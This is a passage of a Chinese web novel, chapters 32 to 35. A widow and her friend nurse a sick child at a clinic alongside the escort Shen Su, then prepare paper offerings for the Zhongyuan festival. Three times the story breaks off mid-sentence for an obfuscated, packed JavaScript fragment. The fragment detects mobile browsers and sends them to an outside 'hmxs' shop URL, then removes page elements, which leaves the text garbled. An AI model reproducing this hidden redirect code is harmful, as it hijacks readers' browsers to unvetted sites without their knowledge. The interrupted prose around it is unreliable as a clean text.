一番动作下来,刘月儿的手心脚心热了,脑袋、身上开始冒汗,高热渐渐退去,眼皮、牙关都松了下来,不一会儿已能安稳地睡去。 细姑和丽娘长出一口气。 何大夫年纪大了,忙了这样一个晚上,身体早就遭不住,况且他明日还要继续开门看诊。 “小儿高热最易反复,你们先不要回去,就在我这后堂找个地方歇歇眼,有要紧的再叫我。”何大夫临去休息前交代她们。 细姑丽娘两个感谢再三,目送老大夫回了后院。 “小哥自去休息,不必管我们几个。”细姑道。 那小哥点点头,就在在药柜后面拼了两张凳子睡了。 后堂的灯是专门留下来的,丽娘的眼泪不住地往下掉,她轻轻抚摸着女儿被汗浸湿的头发,对细姑道:“大姐,我这两天光顾着高兴了,没顾好月儿,月儿要是有个三长两短的,我也……我也活不下去了。” 丈夫死了一年多,丽娘就是靠着一个女儿咬牙撑到了现在,从未想过回去投奔娘家。 “好在没事了,我们就在这医馆里面呆着哪儿也不去,月儿吉人天相,一定没事!”细姑说得斩钉截铁,没有一丝犹疑。 丽娘这会儿正是后怕又慌神的时候,她更得定住,万万不能跟着丽娘一起慌乱。 “真的?” “真的!” 下半夜,到处都没声了。 细姑坐在那里,眼皮一直往下掉,没一会儿,上眼皮就掉到了下眼皮上。 “大姐!” 细姑一耸,两道眼皮又撑开了。 是丽娘! 丽娘手里拿了一团湿哒哒的细布。 “什么事儿?月儿哪里不对?”细姑忙问道。 丽娘笑一笑,“月儿没事儿,还有点热,我拿热水给她擦擦。” 细姑伸头去看看刘月儿,小家伙还在睡,于是安心地点点头,“那就好!那就好!” “大姐,天亮了,你该回去开铺子了!”丽娘道。 外面“哐当哐当”的,是医馆准备开门的动静。 细姑向后一仰,脑袋靠在墙上,“嗨!铺子在那里又不会跑!”她又想起来,“诶——我去开铺子,你呢?你不用去上工?” 丽娘低下头,握紧了手里的湿帕子,“大姐,我想把食店的工辞了,我给你看茶铺子,打下手,你看行不行?” 只看这份纠结,细姑就知道丽娘这个决定并不是她的本心——丽娘是个很有自我尊严的人,接受了细姑合伙搭伴请求后,从来没有主动向细姑要过一分钱财,她努力地做工赚钱、做家务事来交换细姑的情谊,几乎没有闲过。但是女儿的凶险病情吓到了她,她现在什么尊严都顾不上了,只想安安稳稳地守着女儿。 “不行!”细姑拒绝了她,“这会儿天气还有热,茶铺还能有点生意,等天一冷,生意就没了,你还是得去找点自己的事情做,不然家里没营生了。” 她又问丽娘,“你一夜没睡,是不是?” 丽娘点点头。 “你要是累,今天就告假休息一天。至于茶铺——等茶铺子生意好了,我实在忙不过来的时候,你再辞工帮我也来得及!” 32. 第 32 章 丽娘熬了一夜,白天也没有休息,在刘月儿醒后,交代了女儿一番,又继续去三娘食店上工了。 细姑抱着刘月儿目送丽娘离去,只见她脚步坚定、一次也没有回头的走了。 等丽娘走远了,细姑抱着刘月儿回到后堂,“月儿,你娘去挣钱养咱们娘俩喽!你要乖,听大娘的话,听到了没?” 刘月儿点着小脑袋,“听到了!” ——刘月儿是个小骗子,她一点都不乖! 明明答应好了的事情,没一会儿就统统都不作数 细姑给刘月儿喂药——追着喂,追得头大! “好普!大娘好普!”刘月儿嘴里含着药,吐字不清,苦念成了普。 这小孩儿明明还在发烧,两只小脚倒腾得还挺快,细姑手里端着药,不敢放开了手脚追。 眼看这样不行,她把装着药的碗放到了柜子上,然后对刘月儿道:“你给我过来!药喝了大娘给你买糖吃!” 大约是实在受不了苦味儿,刘月儿连糖都不要了,“不要!不要!”看细姑要来捉她,尖叫一声往门外面跑去。 “噗!”一声闷响,刘月儿撞上了人,弹了一下,然后一屁股坐在了地上,懵了。 机会难得,细姑赶忙上前把刘月儿抱住,也没看被撞的人,嘴里直道歉,“不好意思啊不好意思!” 等她站起来一看,原来是沈宿。 “是沈镖头!不好意思!”细姑紧紧箍住刘月儿,不让她乱动,“我家这孩子不肯吃药,乱跑,不是有意撞你。” 沈宿怀里也抱着一个小孩儿,神情严肃,回她,“没事!”随后进门找了个床把孩子放下。 是上次在端午那天看到的小男孩。 小男孩的情形很不好,脸上烧得得一片红,整个人缩成一团。 沈宿看着孩子,眉头紧锁。 细姑想:昨天晚上病了的大概就是这个孩子。 她没再吱声,抱着刘月儿走到另一边,找了个地方坐下,看着刘月儿的眼睛,小小声到:“你乖乖吃药,不要乱跑了,听到没?” 刘月儿人小小一个,却也感受到了沈宿和昏迷的小男孩带来的压抑气氛,她乖巧地点点头,老老实实地把药喝了。 “这里!这里!”细姑看见沈掌柜把何老大夫引到小男孩床边。 沈掌柜的脸上满是担忧,声音急切,“昨天晚上您老走了以后,他舅舅给他推穴,虽然也是烧,但是——但是——” 沈宿接着道:“这一夜虽然在烧,但是尚可控制,只是今早上喝了药就吐,又热起来,怎么推穴位都没用,刚刚闭了眼睛昏过去。” 眼袋垂到鼻尖的何老大夫,一边翻看小男孩的眼睛、嘴巴、身体,一边听他两个说话,“好!好!好!我知道了!” “冬生!”大夫在叫外面的药柜小哥。 “诶——” “把最上面那颗清心丸切一半,温水化了给我端过来!” “好嘞!” “快点儿!” “知道了!” 何老大夫在给孩子施针,药端过来——喂不下去。 孩子牙关咬得死紧,拿着勺子喂到嘴边的药还没进去,又都顺着嘴角流了出来。 这样子下去是万万不行的,细姑看得心急。 “你们找根管子,用嘴一点一点对着渡进去。”细姑对她们说道。 沈掌柜他们未必想不到这个法子,只是这会儿情急,脑子里面怕是没有转过弯来。 沈宿看细姑一眼,点点头,去外面的诊堂拿了一枝细竹笔进来,接着从腰上掏出一把小刀将竹笔两头削去。 “把一头削尖一点!”细姑又道。 沈宿顿了一下,把竹管其中一端削尖,回到竹床边,捏着孩子的下巴,用竹管的尖头硬把外甥的牙齿撬开了一条缝。 沈掌柜口里含着药,顺着竹管,一点一点地渡进了孩子嘴里。 药,终于喂了下去。 何老大夫施针完毕,对沈宿二人道:“再等两刻,两刻后只要手脚心发热,头顶出汗,这一关便是过了。” 沈家姐弟两个不住地点头。 眼看大夫要走,细姑也问了一句,“大夫,我家这个你要不要看一下?” 老头上看望闻问切一番后,对细姑道:“外感风寒湿邪,高热易反复,烧退了,喉咙嗓子怕是会有痰有脓,趁这会儿还能吃下东西,不拘米粥还是面汤都让孩子吃一点。对了——”他又加一句,“油腻的不要!” “好好好!”细姑直点头。 宣正大街上就有开粥水铺子的,细姑买了一碗粥,刘月儿吃粥的时候还不忘讨价还价,“我要吃糖,” 人小,记性还怪好,刘月儿强调,“大娘,你刚才说的,我喝了药,你给我买糖吃。” “买买买!”先把东西吃了再说。 细姑又买了两块插着细签的饴糖——城里的饴糖三文钱一块,五文两块。 刘月儿一手拿一个。 何大夫说小儿高热容易反复,细姑也不敢带着孩子回家去,干脆还是去和安堂后面呆着,想一想这估计就是古代版的住院吧。 细姑和刘月儿回去的时候,后堂里,沈宿的外甥醒了,正被他娘抱在怀里。 小男孩没精打采,病恹恹的,但是看到刘月儿手里的糖后,还不忘指着刘月儿手里的糖,跟他娘要糖吃。 外面卖糖的早就不知道走到哪里去了。 刘月儿正是最护食的年纪,一看那孩子的手指指过来,立刻将两手背到身后,整个人藏进了细姑的后面。 细姑哭笑不得。 沈宿只好来到细姑这边,蹲下身子,问刘月儿道:“你笼子里抓到促织了没有?” 促织这种小虫子会跳,极难抓,刘月儿抓了几天都没抓到,她看着面前蹲下来的大人,摇了摇头。 “我家的笼子,每个里面都装了促织,我拿装了促织的小笼子跟你换糖,怎么样?”沈宿说完犹嫌不够,继续诱惑刘月儿,“两个促织放到一个笼子里面,它们还会打架,好玩得很!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546486|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的?”刘月儿显然被诱惑到了,“那你什么时候给我?” “我现在就回去拿!” 刘月儿怕大人反悔,忙忙将手里的糖分了一个给小男孩,还不忘对沈宿说:“那你快点儿去拿!” 沈宿人高腿长,走路快,不一会儿就拿了两个装着促织的精细小笼回来。 刘月儿得了这两个促织,开心得直晃脑袋。她想看促织打架,自己又不敢拿,叫细姑帮忙,“大娘!大娘!你快帮我把这两个虫子放到一个笼里” 细姑也不想摸虫子,促织长得也不吓人,但是她还是不想碰虫子。 沈宿看到,笑着上前帮忙。他将一个笼子打开,拿出里面的促织放到另一个笼子里去。 两只小虫一见面,果然你死我活地打了起来,刘月儿糖都不舔了,趴在桌子上看笼子里面的小虫打架,口里还时不时地来上一句,“好!打得好!” 扎了针、喝了药、舔上饴糖的小男孩此时的精神好了起来,他扭着身子从沈掌柜的怀里钻下来,跑到刘月儿身边,也学着刘月儿的样子——跪在凳子上,趴上桌看两只虫子在笼子里面打架。 这小男孩儿眼看着这一会儿是好起来了。 沈掌柜走到细姑边上,细姑刚要叫一声沈掌柜。 “我叫沈雪,”沈掌柜先说话了,“刚才多谢你!” “那我叫你沈娘子,”细姑笑道,随即又说:“我也没做什么,谢什么?” 沈雪道:“谢你的法子,也谢你家孩子的糖。” “哪里这样客气,孩子没事就行,再说沈——”细姑想想,还是道:“沈镖头不是也给了月儿两个促织么。” 还是叫沈镖头吧,叫多了顺口。 沈雪问道:“王娘子年岁几何?” “二十六了,”细姑又道,“我叫王细姑,粗细的细,姑娘的姑。” “我比你年长几岁,那我就叫你细姑?”沈雪笑道。 “可以!” “我当家的出镖去了,这几日不在,我镖行里面还有事情。”沈雪对细姑道。 细姑忙回她,“你去忙,不用管我!” 沈雪又对沈宿道:“沈宿,” “你去!郭义这里有我!”沈宿话说得更快,他巴不得姐姐快走。 沈娘子笑着对细姑点点头,去了。 两个小的看虫子打架看得正开心,根本没功夫理会别人。 细姑、沈宿二个就在一旁看着。 随后沈宿指指外甥郭义,小声对细姑道:“王娘子帮我照看一下外甥,我靠墙歇一会儿。昨夜折腾了一个晚上。” 细姑点点头,让他只管去睡,“有什么事情我叫你。” 沈宿点点头,抱着胳膊,靠墙闭上了眼睛。 外头阳光燥烈,透过木门、格子窗射了进来,男人躲在光的阴影里睡觉,外面看诊的吵吵嚷嚷,两个孩子趴在桌上看促织打架。 细姑坐在凳上,背靠山墙,无人打扰。 难得的片刻清净。 33. 第 33 章 外头吵吵嚷嚷,原来是有人被打破了脑袋要转到后面来。 刘月儿又开始高热,变得没精打采。 细姑去找老大夫。 何老大夫是没有时间,他在给破了脑袋的人包扎伤口。 “那边不是有一个么?”老大夫手脚俱忙,只能用下巴点着正在睡觉的沈宿,“推穴的手法这小子也会,你把他喊起来。” 细姑有些犹豫,但也不敢耽搁,还是选择叫醒了沈宿。 沈宿猝然醒来,以为自己的外甥出了什么问题,忙问道:“郭义怎么了?”。 “不是你家的郭义,是我家的孩子,月儿她又起高热了,何大夫没时间,”细姑给他指指正在忙着包扎伤口的何老大夫,接着道:“他说你会退烧的法子。” 虽然有些不好意思,细姑还是直接向沈宿表达了自己的请求,“我想请沈镖头帮帮忙,给我家月儿退退烧。” 沈宿睡得有些怔住了,闻言点点头,然后站起身来抻了一下筋骨,道:“好,我试试。” “把孩子上身的衣服脱了。”他告诉细姑。 推穴扎针是不能穿衣服的,这个细姑知道,她麻利地给刘月儿把衣服脱了。 “诶——”那个破了脑袋的人说话了,‘’小姑娘家的,大庭广众之下的脱了衣服像什么样子!” 闻言细姑和沈宿立刻回头——这人脑子坏了? “她才几岁?” “她才几岁?” 两个人异口同声。 话音一出来,细姑和沈宿两人都愣住了,然后对视一眼——原来这世上还是脑子正常的人多些。 “麻烦你了!”细姑道。 沈宿点点头,自去给刘月儿推穴。 细姑问那人,“你的脑袋是不是叫天上掉下来的石头给打破的?” “诶——”那人听了这话,直起身子,看向细姑,点头道:“诶——你怎么知道?” “你老实点!”何老大夫一拍那人的后背。 那人的身子又缩了起来,还不忘回细姑,“我看人打架,被不知道哪里飞来的砖头打破了头。” “老天爷都看不惯你这种人,”细姑白他一眼。 那人被细姑白一眼,想说点什么,细姑又转过身去不理他,只能“诶——诶——”的,时不时还因为脑袋上吃痛,哼哼两声。 细姑懒得理这种人,专心看沈宿给刘月儿推穴。 沈宿的手很大,手指很长。细姑就看他曲起右手三根手指,从刘月儿的后脑勺一路顺着脊椎捏到尾椎。 男人的手粗糙有力,捏得刘月儿直叫疼,扭着身体不肯配合,细姑忙上前去把刘月儿压住了。 于是情况就成了——细姑和沈宿两个,一个压着刘月儿的脑袋胳膊,一个压着她的屁股和腿。 推穴推得刘月儿皮上又痛,身上又不能动,只能趴在那里大呼小叫,“坏人!你们都是坏人!” 声音之凄惨惹得刚才那个说风凉话的也不吭声了。 何老大夫往他们这儿看了一眼,问道:“你们两个杀猪退毛呐?” 两个“杀猪匠”都被眼前这情形给都笑了,不过手里的动作不敢停,只能一个咬牙鼓腮、一个低头抿嘴。好歹都顾及着小孩子的情绪,没笑出声来。 沈宿的外甥——郭义手里拿着促织笼子,站在一旁看着,睁圆了眼睛,大气儿都不敢喘。 一个白天里,两个“杀猪匠”颇有几分默契。 刘月、郭义这两个既不肯乖乖吃那苦药,也不肯老老实实趴着叫沈宿推穴,四处躲闪。 细姑只用把门守住,不叫这两个跑出去。沈宿人高手长,步子都不用迈出去第二步,伸出胳膊捉小鸡崽子一样,一捉一个准。 捉来的“小鸡”需要推穴就顺手把衣服剥去,放到床上,细姑两手压住腿,沈宿一只手压住胳膊脑袋,一只手推穴——整个过程小鸡仔奈何不过,只能干嚎。 若是喂药,沈宿就用一只胳膊把“小鸡仔”整个的盘窝在腿上,空出另一只手捏着下巴,把嘴巴捏出一道口子来。细姑就端着一碗苦药,小心地给他喂进去。 药喂进去了,被喂药的挣扎得更厉害了。 “真有这么苦?”细姑看这情形,自己也舔了一口——又苦、又凉、又冲! 冲得细姑直皱眉! 怪不得这两个小的一听喝药就跑。 可惜了,是药没有不难喝的,细姑一遍喂药一遍安慰他们,“喝了就好了!喝了就好了!” 如此折腾了一天,药也喝完了,烧不起了。 只是细姑、刘月儿娘俩,还有沈宿、郭义舅甥,却是情分到头了——这两个小的自躲到一处,看仇人般地看着细姑和沈宿。 可惜小孩子的恨意不在大人的眼里,细姑看过他们一眼后只当这两个不存在,她跟沈宿道歉:“沈镖头,” “我家中行二”沈宿截过细姑的话。 这里人称呼人爱用姓氏与家中排行,称某大哥、某二姐。沈宿这是在提醒细姑。 细姑愣了一下,随后道:“沈二哥,我那日不是有意不泡茶水给你喝,那些茶叶是我预备了拜访四邻的上门礼。” 沈宿靠在墙上,笑道:“你那日也没想到我会在乔三哥家里?” 细姑摇摇头,“沈娘子不是说你晚上宿在镖行前院?” “我姐姐管得宽,回去喝酒了要挨骂,我无事常去三哥家里住几天。”沈宿摊出一只手,“我姐是什么样子你是见过的。” 想起第一次投镖那天见到的沈掌柜的样子,细姑忍不住笑了起来。 就这么一直到天擦黑,后堂里点上油灯。 丽娘下工,沈娘子也过来看孩子。 两个小家伙的靠山终于到了,他们立刻扑到各自娘亲的怀里,抱着自家亲娘的脖子,大声告状。 但是大人有自己的判断,她们听了刘月儿和郭义的话后,忍不住笑开来,连细姑和沈宿也跟着笑。 两个孩子一头雾水中又有些惊恐——他们如此愤怒,大人们到底在笑什么?。 何大夫又留了他们一个晚上。 “谨慎点,再留一晚,明天没事了在回去不迟。”他这样说。 一夜无事。 大人孩子都得了一夜安睡。 但是第二天一早,刘月儿和郭义都开始咳嗽。 何老大夫查看过一番之后,只说无碍,给每家开了几幅药,“喝药,喝水,少食荤腥油腻,想办法让他们把痰咳出来,再养上十天半个月,实在咳得厉害就喝点蜂蜜,最好是槐花蜜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553153|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清热通便。” 这个时代,蜂蜜是个金贵十足的东西,细姑拿钱都不知道该去哪里买。 起码和安堂里就没有,柜台的冬生小哥告诉细姑,“槐花蜜早就用完了,现在只有枣花蜜、荔枝蜜,这东西上火,你家孩子用不了。” 又过了一个白天,晚上丽娘来接细姑刘月儿回家的时候,跟她一起来的是乔宽。 细姑问她,“你们怎么遇到一起的?” 回她的时乔宽,“我是替我们掌柜的来的。” 替沈娘子来接沈宿和过郭义的乔宽最后和细姑她们一道回了苍石巷。 沈宿不用乔宽帮忙,“这么点路,这么大点人,我还要你帮忙?你跟她们顺路回吧。”沈宿把外甥往咯吱窝里下一夹,走了。 看起来确实不用人帮忙的样子。 回去的路上,刘月儿没力气走路。细姑和丽娘轮流抱着她,最后还是乔宽把刘月儿扛着脖子上。 乔宽对细姑问道:“怎么你们家中只有你们姐妹两个带着孩子?孩子的父亲呢?” “我们姊妹两个都是寡妇,我男人春天的时候落水没的,丽娘她——”丽娘的丈夫刘安是怎么死的来着? 丽娘接着道:“月儿她爹得病没的。” “噢——”乔宽点头,“好好好!” 好什么?人家死了男人有什么好的? 乔宽立刻意识到自己说错了话,立刻自己往回找补:“孩子没事就好,没事就好!” 不等细姑两个反应过来,他又问:“孩子这次生病,你们使了多少银子?” 多少银子?——一两八钱。 据说这还是公道价钱。 “果然不管在那里看病都是很贵啊!”细姑感叹。 但是丽娘这是什么意思? 细姑对着面前的零碎的银子和几串铜钱,疑惑地看着丽娘,“你做什么大半夜不睡觉,赶着来给我送钱?” “大姐,这是月儿看病的钱,一共五钱银子、三串铜钱。我知道这些不够,其他的等我每个月发了月钱,每个月给你五百文。”丽娘神情严肃。 细姑不要,“我们一开始说好了,我出——” “大姐!”丽娘打断了细姑,语气不容拒绝,“这个不一样,你收下!” 到底哪里不一样,细姑也不是很清楚,大概就是孩子的买命钱当娘的不愿意让别人出吧。 细姑收下了丽娘的钱。 后面丽娘再去上工的时候遍不再带上刘月儿,小家伙留在了铺子给细姑作伴帮忙,收个铜钱什么的。 刘月儿还混了个绰号——茶小二。 这帮子做苦力的忙里偷闲地来喝口茶水,还总不忘给人起绰号。 大家看茶小二人小有趣,时常会逗她,给钱的时候时不时地多一个、少一个。 还在咳嗽的茶小二十分认真负责,总是一个一个的数过了人数,再一个一个的数一遍铜钱。 钱多了不要,钱少了不依。 细姑看她认真,也来凑趣,时常给她发一两个铜板当工钱。 喜得这位小二大叫:“大娘世上第一好!” 众人哈哈一笑。 孩童带来的欢乐真是这平凡疲惫的日子中、难得的、不掺苦味的、一点蜜水。 34. 第 34 章 一晃马上七月半,中元节快到了。 中元节又叫盂兰盆节、鬼节。 但凡是跟神鬼挨边的节日,大抵都是要心怀敬意的——人是现世的,可以敷衍过去,鬼神是看不见的,在心里,怎么敷衍? 细姑是不大敢去敷衍的,这回中元节,她准备亲自去给刘洪王细姑夫妻俩上坟。 只是她自己一个人去还是有几分不安,需要找个保镖,想了想,跟自己住一个巷子的乔宽乔三哥不就是上佳的保镖人选么? 细姑趁着乔宽送镖回来的路过她铺子的时候叫住了乔宽,“乔三哥,你送镖回来了?来我这铺里坐下歇歇,喝口茶!”说着就倒了一碗茶给人递了过去。 乔宽人宽厚不挑嘴,有什么吃什么,细姑给的大碗粗茶也很是喝得。 他接过茶,一口去了大半,然后回细姑,“刚去了南边群县给人送了东西回来。王娘子你的生意好啊?” “马马虎虎,还过得去!”一天百十文钱,不多,也叫她很是满意了。 乔宽掏出一文钱放在桌上,细姑不收,“你拿回去,我今天请你喝茶!” “诶——你这钱是一碗茶水一文钱攒出来的,不容易,我不能白喝了你的茶。”乔宽还是要给。 细姑手里拎着茶壶,忙离他一臂远,不接他的钱,也不让月儿去接他的钱,“我今天请你喝茶,是找你有事,不让你白喝。” 钱是给不出去了,乔宽只好笑着问细姑,“王娘子什么事情?” “你七月半前后有没有闲?我请你给我当个护卫?护我去碧云山给我丈夫上坟。我夫家有那些个不当人的,我一个人回去上坟烧纸,不敢回去,想请人给我壮壮胆子。” 随后细姑把自己丈夫如何死的,死了之后自己在丧礼上如何跟那帮人周旋的,原原本本的都和乔宽说了一遍。 乔宽听后,亦是愤慨,“真是一帮子畜生!诶——这样——”他又问,“你丈夫埋在那碧云山附近?” “嗯。”细姑点点头。 乔宽一拍大腿,“我给你保举一个人!” “谁?” “沈宿,沈老二!” “嗯?”细姑失笑,“怎么又是他?上次清明,我去你们镖行,沈掌柜也是叫沈二哥给我捎的信,怎么你也保举他?” 乔宽把碗里的茶都喝了,“王娘子你不知道,沈宿他一年三节地去碧云山给他一个什么人去上坟烧纸,跟你这正好顺路,知道的可不就都找他了。” 死人三大节:清明、中元和岁末。 乔宽也这么说,那的确是顺路,“也行,那乔三哥道镖行里有空帮我问一声,问沈二哥他什么时间去,不拘节前节后都行,到时候捎带我一趟。” “行,我给你问问!”乔宽应了下来。 第二天乔宽就给了细姑回信儿,说沈宿说了:中元后一日,七月十六去碧云山,他那天回赶辆骡车,让细姑有什么要带的,都提前准备好。 细姑让乔宽转达了自己的谢意,并表示自己那天哪儿也不去,就在铺子里等着沈宿。 上次清明上坟是请白霜帮忙代上的,这次自己去,细姑决定多烧点东西。 这天她起了个大早,趁着那群干苦力的还没要喝水,丽娘也还没去上工的时候,去了一趟纸扎店。 纸扎店在梭子街一路往西去,走个一刻,有个顾大冥器店。他家也是一大早上就开门了。 一个卖冥器纸扎的铺子作什么要这么早开门?是这店主老头年纪大了觉少?还是他家铺子的阴气太重,需多见见太阳? 细姑觉得大概是第二个——她一进门就看到了一排的纸人。 纸人不大高,但是一个个有头有脸,手脚俱全,身上的衣服还是彩色的。 店主老头一见细姑就问,“后生要什么?” 细姑指着一排纸人道:“店家,这些纸人烧来干嘛?” 老头的瞳孔浅的快没色了,他看一细姑,“这些童男女烧到底下去服侍主人的。你买不买?” “要的!要的!”细姑忙点头,这个好,让底下的两个也享享福。 “地下阴宅呢?需不需要来一座?”店主指着旁边纸扎的小房子问道。 细姑看过去——这纸房子扎得真好,里面用细竹枝撑出个架子来,外面拿纸糊出房子的形,黑瓦白墙,有门有窗的。 她现在住上了自己的房子,也不能忘了夫妻俩的一份,“买了!” 细姑确定再要一付阴宅后,店主问明了她要烧给谁,还帮忙写了一份阴宅的房契。 “这死人底下还要写房契的?”细姑好奇地问道。 老头在写字,都不稀得看这个不懂事的后生,“不然阎王爷知道这宅子是给谁住的?” “哦!”细姑受教了。 除此之外,还有纸马、纸车、纸船,纸衣服、纸鞋帽,唱戏的一整套剪纸小人——据说是按照戏里的样子剪的,十分受欢迎。 哦,还有投壶、色盅…… 真是阳间有的东西,阴间的也不能缺了。 细姑一个不差,每样都来了一遍。 定好东西付好钱,细姑和店主老头约好,东西先寄存在他店里,七月十六那天一早再来取。 中元节这天,丽娘给食店那边告了一天假,带着刘月儿去给刘安上坟。 细姑大早上的,一个人守着铺子,没什么生意,大家都祭祖上坟去了,斜街附近的河面上都没什么船——有船也是出城去的,死人都埋在城外边。 偶尔路过一两个脸熟的,细姑问他,“大早上的哪儿去?” 回她的必是——“吉荒坡!” 吉荒坡出城往南走,比草市再往南一点,是个热闹所在,好大一个土坡,既住活人,也住死人。 地方好的,宽敞平坦的,就盖房住人,或者建个作坊之类的;那地方不好的,蹩脚难行的,就让死人挤一挤——这一片埋人不要钱。 丽娘就在吉荒坡上找了个地方把她丈夫刘安给埋了。 平民百姓的坟都差不多,长满了草。 丽娘到了先把刘安坟上的草给拔了,然后吩咐刘月儿给她爹捧上一把新土。 刘月儿喜欢干这个,她捧起一把又一把的泥土,绕着坟包转圈圈地洒,一边洒一边“爹”个没完,时不时地咳嗽两声。 丽娘把准备好的酒肉摆出来,点上蜡烛纸钱,看着这个带她私奔出来的男人的墓碑。 日子过得苦的时候,她给刘安上坟,都没什么好酒好肉,那时候总是忍不住向他哭诉——哭他年纪轻轻早死,哭自己娘俩命苦。 她那个时候想他想得不行。 现在日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558020|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越好,好酒好肉的带过来,跪了半天,既没有眼泪,也没有什么话要说,她最近甚至没什么时间想他。 她给刘安夹了两块肉,倒了三杯酒,“你地下有灵,保佑月儿的病快快的好!” 现在什么都是好好的,只是月儿每日还在咳,你若真是泉下有灵,一定要保佑月儿健健康康,长大成人。 只有风回应了她的请求,催着蜡烛、纸钱燃起来的焰口四处乱偏。 上完坟烧过纸钱,丽娘把没用完的蜡烛、酒菜重又装回了竹篮里,带了回去。 中午厨房里,细姑看着盘里码放整齐的肉菜,问丽娘:“你不是上坟么?这些个菜怎么又带了回来?” “夹两筷子尽到心意就成了,人死了又不能真吃,都留下,还不知道最后进了哪个野狗的肚子里。”丽娘在准备葱姜调料。 上坟用的菜做起来都敷衍,味道很不怎么样,细姑偷尝过一块烧鸭子——又柴又硬,难吃。 丽娘使了油盐姜蒜重新翻炒了一遍,味道就好多了。 好菜好肉上桌,细姑和刘月儿吃得正开心,就听见丽娘说:“大姐,你说是不是月儿她爹在下面有些不好?” 细姑放下碗筷,摸了摸丽娘的脑门,“你这也没烧啊?说得这是什么胡话?” “大姐!我不是乱说胡话,我清醒着呢。”丽娘拍掉细姑的手。 “没糊涂你说什么瞎话?刘安死了一两年了,早不好晚不好的,非要挑这个时候不好?想什么呢你!”细姑撇嘴。 “大姐,你不知道。月儿自来身子好,没病过!指定是月儿她爹在下面有点什么。”丽娘越说越有,说到最后自己更是坚定不移地信了。 死人哪来不好?只能是活着的人有心愿未了。 饭是吃不下去了,细姑手拿筷子打住丽娘的话头,“得!得!得!你就说吧,你到底想干什么?” 丽娘一笑,“我想给她爹把棺材迁回祖地去。” “怎么又想到这一出?” “落叶归根么,人死了总不能真这么一直在外面飘着。而且我也想带着月儿回去认认祖宗。我跟刘安虽然名不正言不顺的,但是他都死了,月儿眼看着六岁,也该回去了。”丽娘拿筷子戳着碗里的米饭。 “这道理也说得过去,”丽娘妾身未明,月儿的身份也不被承认,细姑理解丽娘的心思。 可是她又提醒丽娘,“那你准备怎么回?拿什么名义回?你爹娘那头、还有那个贾家,人家能愿意?” 丽娘看看细姑,又看看吃得正欢的女儿,笑得有些勉强。 “要不这样,”细姑抓着脑袋想法子,“咱们先请人给你们娘俩探探路,要是能回,你们就带着着棺材一起回,不能的话,你就跟刘安说说,再等等,反正人死了都死了,早早晚晚的,也不差这一时半会儿。” “请谁呢?”丽娘问。 “嗐!能请的人多着呢,外面跑船的,不行还有巷子里面的乔三哥,这不都是?” 晚些时候,丽娘带着酒菜和一点钱去找乔宽,乔宽应承得十分痛快,并且坚决不收丽娘的钱。 “探听个消息不值什么,我镖行、道上都有弟兄,我托他们着意帮我打听打听,早点这一两个月,晚些就岁末,总能得信儿。“ 他收下了丽娘给他准备的一点酒菜。 35. 第 35 章 七月十六,细姑起了个大早。 她洗漱了一番,丽娘母女俩的房间还没有动静。 结果一开院门,就看到有个长长的人人影斜靠在门边的墙上。 “沈二哥来得这样早!”细姑感叹,随即又问:“让你就等久吧?” 沈宿听到声音直起身来,回她道:“刚到!车子就在巷口,王娘子的东西都备好了?” 细姑手上挎着篮子,出门来,转身把院门又关上了。她走到沈宿旁边,道:“我的东西都在梭子街上顾大冥器店里,顺路就拿上了就走,你的车呢?” 车子在巷口。 高高的骡子,长长的车,车尾摞着几个大筐子。 细姑没问这些筐子是干嘛的,只把自己的篮子放到了车上。篮子里面是她准备的茶叶、红糖和一些点心,都是些实用不贵重的东西。 她准备上坟烧纸后去看望一下白霜。 “我坐那儿?”细姑问沈宿。 沈宿已经坐到了车上,闻言指指车头右边的位置,示意细姑坐那里。 骡车有些高,细姑两手撑在车边轻轻一跳,跳着坐上了车。 “坐好了?”沈宿问。 “好了!” 于是鞭子一扬,骡车缓缓动了起来。 等到了顾大冥器店的门口,看到店主老头和他身后的一堆东西,沈宿颇为吃惊。 “王娘子,这些都是你的?”这么多东西? 好像是有点多,细姑过意不去,尴尬一笑,“都是我的!” “这么多东西到了底下都有用?”沈宿犹疑道。 “都有用!”细姑很肯定地点头,然后下车,拿一样介绍一样,“这是宅子,刘洪——”她想起了沈宿不知道刘洪是谁,“就是我死去的丈夫,我们夫妻俩一直在外面租宅子住,现在人都死了,好歹让他住上个大点的地方。” 她又拿起那一对童男童女,“这个烧到地下去服侍他们,忙了一辈子,死了也该歇一歇,享享福。” “还有这个车马、轿子、船、衣服这些不用我说,你也懂的。” “那这个呢?”沈宿拿起衣服彩纸做的色盅,“这个让你丈夫底下去赌钱?” 